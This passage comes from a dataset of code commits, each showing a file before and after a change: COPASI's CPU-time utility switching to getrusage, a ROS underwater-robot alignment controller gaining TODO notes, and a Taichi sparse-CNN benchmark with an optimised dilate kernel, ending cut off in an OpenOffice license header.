&SystemTime);\n\n  return SystemTime.QuadPart \/ LLONG_CONST(10);\n}\n#endif\n\nCCopasiTimeVariable CCopasiTimeVariable::getCPUTime()\n{\n#ifdef WIN32\n  LARGE_INTEGER CreationTime;\n  LARGE_INTEGER ExitTime;\n  LARGE_INTEGER KernelTime;\n  LARGE_INTEGER UserTime;\n\n  GetProcessTimes(GetCurrentProcess(),\n                  (FILETIME *) &CreationTime,\n                  (FILETIME *) &ExitTime,\n                  (FILETIME *) &KernelTime,\n                  (FILETIME *) &UserTime);\n\n  return UserTime.QuadPart \/ LLONG_CONST(10);\n\n#else\n  \/\/ :TODO: replace with a function with higher resolution\n  return (C_INT64) clock() * LLONG_CONST(1000000) \/ (C_INT64) CLOCKS_PER_SEC;\n}\n#endif\n}\n\nstd::string CCopasiTimeVariable::LL2String(const C_INT64 & value,\n    const C_INT32 & digits)\n{\n  std::string format;\n\n  if (digits > 0)\n    format = \"%0\" + StringPrint(\"d\", digits);\n  else\n    format = \"%\";\n\n#ifdef WIN32\n  format += \"I64d\";\n#else\n  format += \"lld\";\n#endif\n\n  return StringPrint(format.c_str(), value);\n}\n<commit_msg>Enhance getCPUTime for Unix environments.<commit_after>\/* Begin CVS Header\n   $Source: \/Volumes\/Home\/Users\/shoops\/cvs\/copasi_dev\/copasi\/utilities\/CopasiTime.cpp,v $\n   $Revision: 1.10 $\n   $Name:  $\n   $Author: shoops $ \n   $Date: 2005\/01\/28 17:14:53 $\n   End CVS Header *\/\n\n#include <time.h>\n\n#ifdef WIN32\n# include <windows.h>\n# include <winbase.h>\n#else\n# include <sys\/time.h>\n# include <sys\/resource.h>\n#endif \/\/ WIN32\n\n#include <sstream>\n\n#include \"copasi.h\"\n#include \"CopasiTime.h\"\n#include \"utility.h\"\n\nCCopasiTimeVariable::CCopasiTimeVariable():\n    mTime(LLONG_CONST(0))\n{}\n\nCCopasiTimeVariable::CCopasiTimeVariable(const CCopasiTimeVariable & src):\n    mTime(src.mTime)\n{}\n\nCCopasiTimeVariable::CCopasiTimeVariable(const C_INT64 & value):\n    mTime(value)\n{}\n\nCCopasiTimeVariable::~CCopasiTimeVariable() {}\n\nCCopasiTimeVariable CCopasiTimeVariable::operator + (const CCopasiTimeVariable & value)\n{return mTime + value.mTime;}\n\nCCopasiTimeVariable CCopasiTimeVariable::operator - (const CCopasiTimeVariable & value)\n{return mTime - value.mTime;}\n\nCCopasiTimeVariable & CCopasiTimeVariable::operator = (const CCopasiTimeVariable & rhs)\n{\n  mTime = rhs.mTime;\n  return *this;\n}\n\nCCopasiTimeVariable & CCopasiTimeVariable::operator = (const C_INT64 & value)\n{\n  mTime = value;\n  return *this;\n}\n\nbool CCopasiTimeVariable::operator < (const CCopasiTimeVariable & value)\n{return (mTime < value.mTime);}\n\nstd::string CCopasiTimeVariable::isoFormat() const\n  {\n    std::stringstream Iso;\n    bool first = true;\n\n    if (mTime < LLONG_CONST(0))\n      {\n        CCopasiTimeVariable Tmp(-mTime);\n        Iso << \"-\";\n        Iso << Tmp.isoFormat();\n\n        return Iso.str();\n      }\n\n    if (mTime >= LLONG_CONST(86400000000))\n      {\n        Iso << LL2String(getDays()) << \":\";\n        first = false;\n      }\n\n    if (mTime >= LLONG_CONST(3600000000))\n      Iso << LL2String(getHours(true), first ? 0 : 2) << \":\";\n    if (mTime >= LLONG_CONST(60000000))\n      Iso << LL2String(getMinutes(true), first ? 0 : 2) << \":\";\n    if (mTime >= LLONG_CONST(1000000))\n      Iso << LL2String(getSeconds(true), first ? 0 : 2) << \".\";\n    else\n      Iso << \"0.\";\n\n    Iso << LL2String(getMilliSeconds(true), 3) << LL2String(getMicroSeconds(true), 3);\n\n    return Iso.str();\n  }\n\nC_INT64 CCopasiTimeVariable::getMicroSeconds(const bool & bounded) const\n  {\n    if (bounded) return mTime % LLONG_CONST(1000);\n    else return mTime;\n  }\n\nC_INT64 CCopasiTimeVariable::getMilliSeconds(const bool & bounded) const\n  {\n    C_INT64 MilliSeconds = mTime \/ LLONG_CONST(1000);\n\n    if (bounded) return MilliSeconds % LLONG_CONST(1000);\n    else return MilliSeconds;\n  }\n\nC_INT64 CCopasiTimeVariable::getSeconds(const bool & bounded) const\n  {\n    C_INT64 Seconds = mTime \/ LLONG_CONST(1000000);\n\n    if (bounded) return Seconds % LLONG_CONST(60);\n    else return Seconds;\n  }\n\nC_INT64 CCopasiTimeVariable::getMinutes(const bool & bounded) const\n  {\n    C_INT64 Minutes = mTime \/ LLONG_CONST(60000000);\n\n    if (bounded) return Minutes % LLONG_CONST(60);\n    else return Minutes;\n  }\n\nC_INT64 CCopasiTimeVariable::getHours(const bool & bounded) const\n  {\n    C_INT64 Hours = mTime \/ LLONG_CONST(3600000000);\n\n    if (bounded) return Hours % LLONG_CONST(24);\n    else return Hours;\n  }\n\nC_INT64 CCopasiTimeVariable::getDays() const\n  {\n    C_INT64 Days = mTime \/ LLONG_CONST(86400000000);\n\n    return Days;\n  }\n\n#ifndef WIN32\n\n\/\/static\nCCopasiTimeVariable CCopasiTimeVariable::getCurrentWallTime()\n{\n  timeval ttt;\n  gettimeofday(&ttt, 0);\n  C_INT64 time;\n  time = ((C_INT64) ttt.tv_sec) * LLONG_CONST(1000000) + (C_INT64) ttt.tv_usec;\n  return time;\n}\n#else\n\n\/\/static\nCCopasiTimeVariable CCopasiTimeVariable::getCurrentWallTime()\n{\n  LARGE_INTEGER SystemTime;\n  GetSystemTimeAsFileTime((FILETIME *) &SystemTime);\n\n  return SystemTime.QuadPart \/ LLONG_CONST(10);\n}\n#endif\n\nCCopasiTimeVariable CCopasiTimeVariable::getCPUTime()\n{\n#ifdef WIN32\n  LARGE_INTEGER CreationTime;\n  LARGE_INTEGER ExitTime;\n  LARGE_INTEGER KernelTime;\n  LARGE_INTEGER UserTime;\n\n  GetProcessTimes(GetCurrentProcess(),\n                  (FILETIME *) &CreationTime,\n                  (FILETIME *) &ExitTime,\n                  (FILETIME *) &KernelTime,\n                  (FILETIME *) &UserTime);\n\n  return UserTime.QuadPart \/ LLONG_CONST(10);\n\n#else\n  struct rusage ResourceUsage;\n\n  getrusage(RUSAGE_SELF, &ResourceUsage);\n\n  return ((C_INT64) ResourceUsage.ru_utime.tv_sec) * LLONG_CONST(1000000)\n  + (C_INT64) ResourceUsage.ru_utime.tv_usec;\n#endif \/\/ WIN32\n}\n\nstd::string CCopasiTimeVariable::LL2String(const C_INT64 & value,\n    const C_INT32 & digits)\n{\n  std::string format;\n\n  if (digits > 0)\n    format = \"%0\" + StringPrint(\"d\", digits);\n  else\n    format = \"%\";\n\n#ifdef WIN32\n  format += \"I64d\";\n#else\n  format += \"lld\";\n#endif\n\n  return StringPrint(format.c_str(), value);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"riptide_controllers\/alignment_controller.h\"\n\n#undef debug\n#undef report\n#undef progress\n#define MAX_TASK_ID 1\n\nint main(int argc, char **argv) {\n  ros::init(argc, argv, \"alignment_controller\");\n  AlignmentController ac;\n  ros::spin();\n}\n\n\/\/ Function: UpdateError()\n\/\/ Computes and publishes new commands based on incoming alignment data and\n\/\/ target data. There is some clever stuff in here to deal with the two alignment\n\/\/ planes we deal in.\nvoid AlignmentController::UpdateError() {\n  sample_duration = ros::Time::now() - sample_start;\n  dt = sample_duration.toSec();\n\n  error.y = (target.y - task.y);\n  error_dot.y = (error.y - last_error.y) \/ dt;\n  last_error.y = error.y;\n  sway_cmd.data = y_pid.computeCommand(error.y, error_dot.y, sample_duration);\n\n  \/\/ If we are aligning in the YZ plane (forward cam), then X acceleration is\n  \/\/ dependent on bounding box width (approximation for distance from task), while\n  \/\/ Z acceleration is determined by offset in the Z axis.\n  \/\/ If we are aligning in the YX plane (downward cam), then Z acceleration is\n  \/\/ dependent on boudning box width, while X acceleration is determined by offset\n  \/\/ in the X axis.\n  if (alignment_plane == riptide_msgs::AlignmentCommand::YZ) {\n    error.z = (target.z - task.z);\n    error.x = (target_bbox_width - task_bbox_width);\n  } else if (alignment_plane == riptide_msgs::AlignmentCommand::YX) {\n    error.z = (target_bbox_width - task_bbox_width);\n    error.x = (target.x - task.x);\n  }\n\n  error_dot.x = (error.x - last_error.x) \/ dt;\n  last_error.x = error.x;\n  surge_cmd.data = x_pid.computeCommand(error.x, error_dot.x, sample_duration);\n\n  error_dot.z = (error.z - last_error.z) \/ dt;\n  last_error.z = error.z;\n  heave_cmd.data = z_pid.computeCommand(error.z, error_dot.z, sample_duration);\n\n\n  x_pub.publish(surge_cmd);\n  y_pub.publish(sway_cmd);\n  z_pub.publish(heave_cmd);\n\n  sample_start = ros::Time::now();\n}\n\n\/\/ Constructor: AlignmentController()\nAlignmentController::AlignmentController() {\n    ros::NodeHandle surge(\"surge_controller\");\n    ros::NodeHandle sway(\"sway_controller\");\n    ros::NodeHandle heave(\"heave_controller\");\n\n    \/\/ Default to gate alignment\n    alignment_sub = nh.subscribe<riptide_msgs::TaskAlignment>(\"task\/gate\/alignment\", 1, &AlignmentController::AlignmentCB, this);\n    command_sub = nh.subscribe<riptide_msgs::AlignmentCommand>(\"command\/alignment\", 1, &AlignmentController::CommandCB, this);\n\n    x_pid.init(surge, false);\n    y_pid.init(sway, false);\n    z_pid.init(heave, false);\n\n    x_pub = nh.advertise<std_msgs::Float32>(\"command\/accel\/linear\/x\", 1);\n    y_pub = nh.advertise<std_msgs::Float32>(\"command\/accel\/linear\/y\", 1);\n    z_pub = nh.advertise<std_msgs::Float32>(\"command\/accel\/linear\/z\", 1);\n\n    sample_start = ros::Time::now();\n}\n\n\/\/ Function: UpdateTaskID\n\/\/ Parameters: id - ID of the new task to subscribe to\n\/\/\nvoid AlignmentController::UpdateTaskID(int id) {\n  \/\/ Validate id\n  if (id >= 0 && id < MAX_TASK_ID) {\n    alignment_sub.shutdown(); \/\/ Unsubscribe from old task topic\n    alignment_sub = nh.subscribe<riptide_msgs::TaskAlignment>(topics[current_task_id], 1, &AlignmentController::AlignmentCB, this);\n    current_task_id = id;\n  }\n}\n\n\/\/ Function: AlignmentCB\n\/\/ Parameters: TaskAlignment msg\n\/\/ Subscribe to state\/vision\/<task>\/object_data to get relative position of task.\nvoid AlignmentController::AlignmentCB(const riptide_msgs::TaskAlignment::ConstPtr &msg) {\n  if (pid_initialized) {\n    task.x = msg->relative_pos.x;\n    task.y = msg->relative_pos.y;\n    task.z = msg->relative_pos.z;\n\n    \/\/ Boudning box width is always captured by the Y coordinate of the bounding box vertices.\n    \/\/ This is because we only care about the YZ (forward cam) and YX (downward cam)\n    \/\/ planes\n    task_bbox_width = abs(msg->bbox.top_left.y - msg->bbox.bottom_right.y);\n\n    AlignmentController::UpdateError();\n  }\n}\n\n\/\/ Function: CommandCB\n\/\/ Parameters: AlignmentCommand msg\n\/\/ Subscribe to \/command\/alignment to get target alignment relative to task\nvoid AlignmentController::CommandCB(const riptide_msgs::AlignmentCommand::ConstPtr &cmd) {\n  alignment_plane = cmd->alignment_plane;\n\n  target.x = cmd->target_pos.x;\n  target.y = cmd->target_pos.y;\n  target.z = cmd->target_pos.z;\n\n  target_bbox_width = cmd->bbox_width;\n\n  if (cmd->task_id != current_task_id) {\n    AlignmentController::UpdateTaskID(cmd->task_id);\n  }\n\n  AlignmentController::UpdateError();\n\n  if (!pid_initialized)\n    pid_initialized = true;\n}\n<commit_msg>Added todo notes in alignment_controller<commit_after>#include \"riptide_controllers\/alignment_controller.h\"\n\n#undef debug\n#undef report\n#undef progress\n#define MAX_TASK_ID 1\n\nint main(int argc, char **argv) {\n  ros::init(argc, argv, \"alignment_controller\");\n  AlignmentController ac;\n  ros::spin();\n}\n\n\/\/ Function: UpdateError()\n\/\/ Computes and publishes new commands based on incoming alignment data and\n\/\/ target data. There is some clever stuff in here to deal with the two alignment\n\/\/ planes we deal in.\nvoid AlignmentController::UpdateError() {\n  sample_duration = ros::Time::now() - sample_start;\n  dt = sample_duration.toSec();\n\n  error.y = (target.y - task.y);\n  error_dot.y = (error.y - last_error.y) \/ dt;\n  last_error.y = error.y;\n  sway_cmd.data = y_pid.computeCommand(error.y, error_dot.y, sample_duration);\n\n  \/\/ If we are aligning in the YZ plane (forward cam), then X acceleration is\n  \/\/ dependent on bounding box width (approximation for distance from task), while\n  \/\/ Z acceleration is determined by offset in the Z axis.\n  \/\/ If we are aligning in the YX plane (downward cam), then Z acceleration is\n  \/\/ dependent on boudning box width, while X acceleration is determined by offset\n  \/\/ in the X axis.\n  if (alignment_plane == riptide_msgs::AlignmentCommand::YZ) {\n    error.z = (target.z - task.z);\n    error.x = (target_bbox_width - task_bbox_width);\n  } else if (alignment_plane == riptide_msgs::AlignmentCommand::YX) {\n    error.z = (target_bbox_width - task_bbox_width);\n    error.x = (target.x - task.x);\n  }\n\n  error_dot.x = (error.x - last_error.x) \/ dt;\n  last_error.x = error.x;\n  surge_cmd.data = x_pid.computeCommand(error.x, error_dot.x, sample_duration);\n\n  error_dot.z = (error.z - last_error.z) \/ dt;\n  last_error.z = error.z;\n  heave_cmd.data = z_pid.computeCommand(error.z, error_dot.z, sample_duration);\n\n\n  x_pub.publish(surge_cmd);\n  y_pub.publish(sway_cmd);\n  z_pub.publish(heave_cmd);\n\n  sample_start = ros::Time::now();\n}\n\n\/\/ Constructor: AlignmentController()\nAlignmentController::AlignmentController() {\n    ros::NodeHandle surge(\"surge_controller\");\n    ros::NodeHandle sway(\"sway_controller\");\n    ros::NodeHandle heave(\"heave_controller\");\n\n    \/\/ Default to gate alignment\n    alignment_sub = nh.subscribe<riptide_msgs::TaskAlignment>(\"task\/gate\/alignment\", 1, &AlignmentController::AlignmentCB, this);\n    command_sub = nh.subscribe<riptide_msgs::AlignmentCommand>(\"command\/alignment\", 1, &AlignmentController::CommandCB, this);\n\n    x_pid.init(surge, false);\n    y_pid.init(sway, false);\n    z_pid.init(heave, false);\n\n    x_pub = nh.advertise<std_msgs::Float32>(\"command\/accel\/linear\/x\", 1);\n    y_pub = nh.advertise<std_msgs::Float32>(\"command\/accel\/linear\/y\", 1);\n    z_pub = nh.advertise<std_msgs::Float32>(\"command\/accel\/linear\/z\", 1);\n\n    sample_start = ros::Time::now();\n}\n\n\/\/ Function: UpdateTaskID\n\/\/ Parameters: id - ID of the new task to subscribe to\n\/\/\nvoid AlignmentController::UpdateTaskID(int id) {\n  \/\/ Validate id\n  if (id >= 0 && id < MAX_TASK_ID) {\n    alignment_sub.shutdown(); \/\/ Unsubscribe from old task topic\n    current_task_id = id;\n    alignment_sub = nh.subscribe<riptide_msgs::TaskAlignment>(topics[current_task_id], 1, &AlignmentController::AlignmentCB, this);\n\n    \/\/ Notes:\n    \/\/ 1. Reset previous controllers\n    \/\/ 2. Add controller status messages\n  }\n}\n\n\/\/ Function: AlignmentCB\n\/\/ Parameters: TaskAlignment msg\n\/\/ Subscribe to state\/vision\/<task>\/object_data to get relative position of task.\nvoid AlignmentController::AlignmentCB(const riptide_msgs::TaskAlignment::ConstPtr &msg) {\n  if (pid_initialized) {\n    task.x = msg->relative_pos.x;\n    task.y = msg->relative_pos.y;\n    task.z = msg->relative_pos.z;\n\n    \/\/ Boudning box width is always captured by the Y coordinate of the bounding box vertices.\n    \/\/ This is because we only care about the YZ (forward cam) and YX (downward cam)\n    \/\/ planes\n    task_bbox_width = abs(msg->bbox.top_left.y - msg->bbox.bottom_right.y);\n\n    AlignmentController::UpdateError();\n  }\n}\n\n\/\/ Function: CommandCB\n\/\/ Parameters: AlignmentCommand msg\n\/\/ Subscribe to \/command\/alignment to get target alignment relative to task\nvoid AlignmentController::CommandCB(const riptide_msgs::AlignmentCommand::ConstPtr &cmd) {\n  alignment_plane = cmd->alignment_plane;\n\n  target.x = cmd->target_pos.x;\n  target.y = cmd->target_pos.y;\n  target.z = cmd->target_pos.z;\n\n  target_bbox_width = cmd->bbox_width;\n\n  if (cmd->task_id != current_task_id) {\n    AlignmentController::UpdateTaskID(cmd->task_id);\n  }\n\n  AlignmentController::UpdateError();\n\n  if (!pid_initialized)\n    pid_initialized = true;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"..\/tlang.h\"\n#include <taichi\/util.h>\n#include <taichi\/visual\/gui.h>\n#include <taichi\/system\/profiler.h>\n#include <taichi\/visualization\/particle_visualization.h>\n\nTC_NAMESPACE_BEGIN\n\nusing namespace Tlang;\n\nauto cnn = [](std::vector<std::string> cli_param) {\n  CoreState::set_trigger_gdb_when_crash(true);\n  auto param = parse_param(cli_param);\n  auto path = param.get(\"grid_path\", \"\");\n  auto use_dense = param.get(\"use_dense\", false);\n  TC_P(path);\n  TC_P(use_dense);\n\n  auto f = fopen(path.c_str(), \"rb\");\n  TC_ASSERT_INFO(f, \"grid not found\");\n  int magic_number = -1;\n  if (fread(&magic_number, sizeof(int), 1, f)) {\n  }\n  int n_dim = -1;\n  if (fread(&n_dim, sizeof(int), 1, f)) {\n  }\n  int size = 1;\n  for (int i = 0; i < n_dim; i++) {\n    int d = -1;\n    if (fread(&d, sizeof(int), 1, f)) {\n    }\n    size *= d;\n  }\n  float *data = new float[size];\n  if (fread(data, sizeof(float), size, f)) {\n  }\n  fclose(f);\n\n  Program prog(Arch::gpu);\n  prog.config.lower_access = false;\n\n  \/\/ constexpr int dim = 3;\n  constexpr int n = 256;\n\n  constexpr int num_ch1 = 16, num_ch2 = 16;\n\n  int block_size = 4;\n\n  Global(layer1, f32);\n  Global(layer2, f32);\n  Global(weights, f32);\n\n  layout([&]() {\n    auto ijkl = Indices(0, 1, 2, 3);\n    if (use_dense) {\n      root.dense(ijkl, {n, n, n, num_ch1}).place(layer1);\n      root.dense(ijkl, {n, n, n, num_ch2}).place(layer2);\n    } else {\n      root.dense(ijkl, {n \/ block_size, n \/ block_size, n \/ block_size, 1})\n          .bitmasked()\n          .dense(ijkl, {block_size, block_size, block_size, num_ch1})\n          .place(layer1);\n      root.dense(ijkl, {n \/ block_size, n \/ block_size, n \/ block_size, 1})\n          .bitmasked()\n          .dense(ijkl, {block_size, block_size, block_size, num_ch2})\n          .place(layer2);\n    }\n    root.dense(ijkl, {4, 4, 4, num_ch1 * num_ch2}).place(weights);\n  });\n\n  for (int c_in = 0; c_in < num_ch1; c_in++) {\n    for (int i = 0; i < n; i++) {\n      for (int j = 0; j < n; j++) {\n        for (int k = 0; k < n; k++) {\n          float v = data[((c_in * n + k) * n + j) * n + i];\n          if (v != 0) {\n            layer1.val<float32>(i, j, k, c_in) = v;\n          }\n        }\n      }\n    }\n  }\n  delete[] data;\n\n  Kernel(forward).def([&] {\n    \/\/ Cache(0, layer1);\n    BlockDim(128);\n    For(layer2, [&](Expr i, Expr j, Expr k, Expr c_out) {\n      auto sum = Var(0.0f);\n      for (int c_in = 0; c_in < num_ch1; c_in++) {\n        for (int dx = -1; dx < 2; dx++) {\n          for (int dy = -1; dy < 2; dy++) {\n            for (int dz = -1; dz < 2; dz++) {\n              auto weight = weights[Expr(dx + 1), Expr(dy + 1), Expr(dz + 1),\n                                    c_in * num_ch2 + c_out];\n              auto c_in2 = AssumeInRange(c_in, c_out, 0, 1);\n              sum += weight * layer1[i + dx, j + dy, k + dz, c_in2];\n              \/\/ layer2[i, j, k, c_out] += weight * layer1[i + dx, j + dy, k +\n              \/\/ dz, c_in];\n            }\n          }\n        }\n      }\n      layer2[i, j, k, c_out] = sum;\n    });\n  });\n\n  \/\/ expand blocks\n  kernel([&] {\n    kernel_name(\"dilate\");\n    For(layer1, [&](Expr i, Expr j, Expr k) {\n      for (int x = -1; x < 2; x++) {\n        for (int y = -1; y < 2; y++) {\n          for (int z = -1; z < 2; z++) {\n            layer2[i + x * block_size, j + y * block_size,\n                   k + z * block_size] += 0.0f;  \/\/ simply activate the block\n          }\n        }\n      }\n    });\n  })();\n\n  for (int c_out = 0; c_out < num_ch2; c_out++) {\n    for (int c_in = 0; c_in < num_ch1; c_in++) {\n      float inc = 0.1f;\n      for (int dx = -1; dx < 2; dx++) {\n        for (int dy = -1; dy < 2; dy++) {\n          for (int dz = -1; dz < 2; dz++) {\n            if (dx == 0 && dy == 0 && dz == 0) {\n              weights.val<float32>(dx + 1, dy + 1, dz + 1,\n                                   c_in * num_ch2 + c_out) = 1.f \/ 16.f;\n            } else {\n              weights.val<float32>(dx + 1, dy + 1, dz + 1,\n                                   c_in * num_ch2 + c_out) = 0.f;\n            }\n            inc += 0.1f;\n          }\n        }\n      }\n    }\n  }\n\n  \/\/ prog.config.print_ir = true;\n\n  for (int i = 0; i < 20; i++) {\n    forward();\n  }\n  prog.profiler_print();\n\n  \/\/ Write the first layer of output\n  data = new float[n * n * n];\n  int non_zero = 0;\n  int zero = 0;\n  for (int i = 0; i < n; i++) {\n    for (int j = 0; j < n; j++) {\n      for (int k = 0; k < n; k++) {\n        data[((0 * n + k) * n + j) * n + i] = layer2.val<float32>(i, j, k, 0);\n        if (layer2.val<float32>(i, j, k, 0) != 0) {\n          non_zero++;\n        } else {\n          zero++;\n        }\n      }\n    }\n  }\n  std::cout << \"Non zero:\" << non_zero << \", zero:\" << zero << std::endl;\n  std::cerr << \"Sparsity:\" << (double)non_zero \/ (double)(non_zero + zero)\n            << std::endl;\n  auto f_out = fopen(\"our_output.bin\", \"wb\");\n  fwrite(data, sizeof(float), n * n * n, f_out);\n  fclose(f_out);\n\n#if 0\n  int gui_res = 512;\n  GUI gui(\"Sparse CNN\", Vector2i(gui_res + 200, gui_res), false);\n  int layer = 1;\n  int k = 0;\n  int channel = 0;\n  gui.slider(\"z\", k, 0, n - 1)\n      .slider(\"Layer\", layer, 1, 2)\n      .slider(\"Channel\", channel, 0, num_ch1);\n\n  int scale = gui_res \/ n;\n  auto &canvas = gui.get_canvas();\n  for (int frame = 1;; frame++) {\n    for (int i = 0; i < gui_res - scale; i++) {\n      for (int j = 0; j < gui_res - scale; j++) {\n        real dx;\n        if (layer == 1) {\n          dx = layer1.val<float32>(i \/ scale, j \/ scale, k, channel);\n        } else {\n          dx = layer2.val<float32>(i \/ scale, j \/ scale, k, channel);\n        }\n        canvas.img[i][j] = Vector4(0.5f) + Vector4(dx) * 0.5f;\n      }\n    }\n    gui.update();\n  }\n#endif\n};\nTC_REGISTER_TASK(cnn);\n\nTC_NAMESPACE_END\n<commit_msg>optimize dilate<commit_after>#include \"..\/tlang.h\"\n#include <taichi\/util.h>\n#include <taichi\/visual\/gui.h>\n#include <taichi\/system\/profiler.h>\n#include <taichi\/visualization\/particle_visualization.h>\n\nTC_NAMESPACE_BEGIN\n\nusing namespace Tlang;\n\nauto cnn = [](std::vector<std::string> cli_param) {\n  CoreState::set_trigger_gdb_when_crash(true);\n  auto param = parse_param(cli_param);\n  auto path = param.get(\"grid_path\", \"\");\n  auto use_dense = param.get(\"use_dense\", false);\n  TC_P(path);\n  TC_P(use_dense);\n\n  auto f = fopen(path.c_str(), \"rb\");\n  TC_ASSERT_INFO(f, \"grid not found\");\n  int magic_number = -1;\n  if (fread(&magic_number, sizeof(int), 1, f)) {\n  }\n  int n_dim = -1;\n  if (fread(&n_dim, sizeof(int), 1, f)) {\n  }\n  int size = 1;\n  for (int i = 0; i < n_dim; i++) {\n    int d = -1;\n    if (fread(&d, sizeof(int), 1, f)) {\n    }\n    size *= d;\n  }\n  float *data = new float[size];\n  if (fread(data, sizeof(float), size, f)) {\n  }\n  fclose(f);\n\n  Program prog(Arch::gpu);\n  prog.config.lower_access = true;\n\n  \/\/ constexpr int dim = 3;\n  constexpr int n = 256;\n\n  constexpr int num_ch1 = 16, num_ch2 = 16;\n\n  int block_size = 4;\n\n  Global(layer1, f32);\n  Global(layer2, f32);\n  Global(weights, f32);\n\n  layout([&]() {\n    auto ijkl = Indices(0, 1, 2, 3);\n    if (use_dense) {\n      root.dense(ijkl, {n, n, n, num_ch1}).place(layer1);\n      root.dense(ijkl, {n, n, n, num_ch2}).place(layer2);\n    } else {\n      root.dense(ijkl, {n \/ block_size, n \/ block_size, n \/ block_size, 1})\n          .bitmasked()\n          .dense(ijkl, {block_size, block_size, block_size, num_ch1})\n          .place(layer1);\n      root.dense(ijkl, {n \/ block_size, n \/ block_size, n \/ block_size, 1})\n          .bitmasked()\n          .dense(ijkl, {block_size, block_size, block_size, num_ch2})\n          .place(layer2);\n    }\n    root.dense(ijkl, {4, 4, 4, num_ch1 * num_ch2}).place(weights);\n  });\n\n  for (int c_in = 0; c_in < num_ch1; c_in++) {\n    for (int i = 0; i < n; i++) {\n      for (int j = 0; j < n; j++) {\n        for (int k = 0; k < n; k++) {\n          float v = data[((c_in * n + k) * n + j) * n + i];\n          if (v != 0) {\n            layer1.val<float32>(i, j, k, c_in) = v;\n          }\n        }\n      }\n    }\n  }\n  delete[] data;\n\n  Kernel(forward).def([&] {\n    \/\/ Cache(0, layer1);\n    BlockDim(256);\n    For(layer2, [&](Expr i, Expr j, Expr k, Expr c_out) {\n      auto sum = Var(0.0f);\n      for (int c_in = 0; c_in < num_ch1; c_in++) {\n        for (int dx = -1; dx < 2; dx++) {\n          for (int dy = -1; dy < 2; dy++) {\n            for (int dz = -1; dz < 2; dz++) {\n              auto weight = weights[Expr(dx + 1), Expr(dy + 1), Expr(dz + 1),\n                                    c_in * num_ch2 + c_out];\n              auto c_in2 = AssumeInRange(c_in, c_out, 0, 1);\n              sum += weight * layer1[i + dx, j + dy, k + dz, c_in2];\n              \/\/ layer2[i, j, k, c_out] += weight * layer1[i + dx, j + dy, k +\n              \/\/ dz, c_in];\n            }\n          }\n        }\n      }\n      layer2[i, j, k, c_out] = sum;\n    });\n  });\n\n  \/\/ expand blocks\n  kernel([&] {\n    kernel_name(\"dilate\");\n    For(layer1, [&](Expr i, Expr j, Expr k) {\n      If(i % block_size == 0 && j % block_size == 0 && k % block_size == 0)\n          .Then([&] {\n            for (int x = -1; x < 2; x++) {\n              for (int y = -1; y < 2; y++) {\n                for (int z = -1; z < 2; z++) {\n                  layer2[i + x * block_size, j + y * block_size,\n                         k + z * block_size] =\n                      0.0f;  \/\/ simply activate the block\n                }\n              }\n            }\n          });\n    });\n  })();\n\n  for (int c_out = 0; c_out < num_ch2; c_out++) {\n    for (int c_in = 0; c_in < num_ch1; c_in++) {\n      float inc = 0.1f;\n      for (int dx = -1; dx < 2; dx++) {\n        for (int dy = -1; dy < 2; dy++) {\n          for (int dz = -1; dz < 2; dz++) {\n            if (dx == 0 && dy == 0 && dz == 0) {\n              weights.val<float32>(dx + 1, dy + 1, dz + 1,\n                                   c_in * num_ch2 + c_out) = 1.f \/ 16.f;\n            } else {\n              weights.val<float32>(dx + 1, dy + 1, dz + 1,\n                                   c_in * num_ch2 + c_out) = 0.f;\n            }\n            inc += 0.1f;\n          }\n        }\n      }\n    }\n  }\n\n  \/\/ prog.config.print_ir = true;\n\n  for (int i = 0; i < 20; i++) {\n    forward();\n  }\n  prog.profiler_print();\n\n  \/\/ Write the first layer of output\n  data = new float[n * n * n];\n  int non_zero = 0;\n  int zero = 0;\n  for (int i = 0; i < n; i++) {\n    for (int j = 0; j < n; j++) {\n      for (int k = 0; k < n; k++) {\n        data[((0 * n + k) * n + j) * n + i] = layer2.val<float32>(i, j, k, 0);\n        if (layer2.val<float32>(i, j, k, 0) != 0) {\n          non_zero++;\n        } else {\n          zero++;\n        }\n      }\n    }\n  }\n  std::cout << \"Non zero:\" << non_zero << \", zero:\" << zero << std::endl;\n  std::cerr << \"Sparsity:\" << (double)non_zero \/ (double)(non_zero + zero)\n            << std::endl;\n  auto f_out = fopen(\"our_output.bin\", \"wb\");\n  fwrite(data, sizeof(float), n * n * n, f_out);\n  fclose(f_out);\n\n#if 0\n  int gui_res = 512;\n  GUI gui(\"Sparse CNN\", Vector2i(gui_res + 200, gui_res), false);\n  int layer = 1;\n  int k = 0;\n  int channel = 0;\n  gui.slider(\"z\", k, 0, n - 1)\n      .slider(\"Layer\", layer, 1, 2)\n      .slider(\"Channel\", channel, 0, num_ch1);\n\n  int scale = gui_res \/ n;\n  auto &canvas = gui.get_canvas();\n  for (int frame = 1;; frame++) {\n    for (int i = 0; i < gui_res - scale; i++) {\n      for (int j = 0; j < gui_res - scale; j++) {\n        real dx;\n        if (layer == 1) {\n          dx = layer1.val<float32>(i \/ scale, j \/ scale, k, channel);\n        } else {\n          dx = layer2.val<float32>(i \/ scale, j \/ scale, k, channel);\n        }\n        canvas.img[i][j] = Vector4(0.5f) + Vector4(dx) * 0.5f;\n      }\n    }\n    gui.update();\n  }\n#endif\n};\nTC_REGISTER_TASK(cnn);\n\nTC_NAMESPACE_END\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: AccessiblePreviewHeaderCell.hxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: hr $ $Date: 2003-03-26 18:06:09 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun 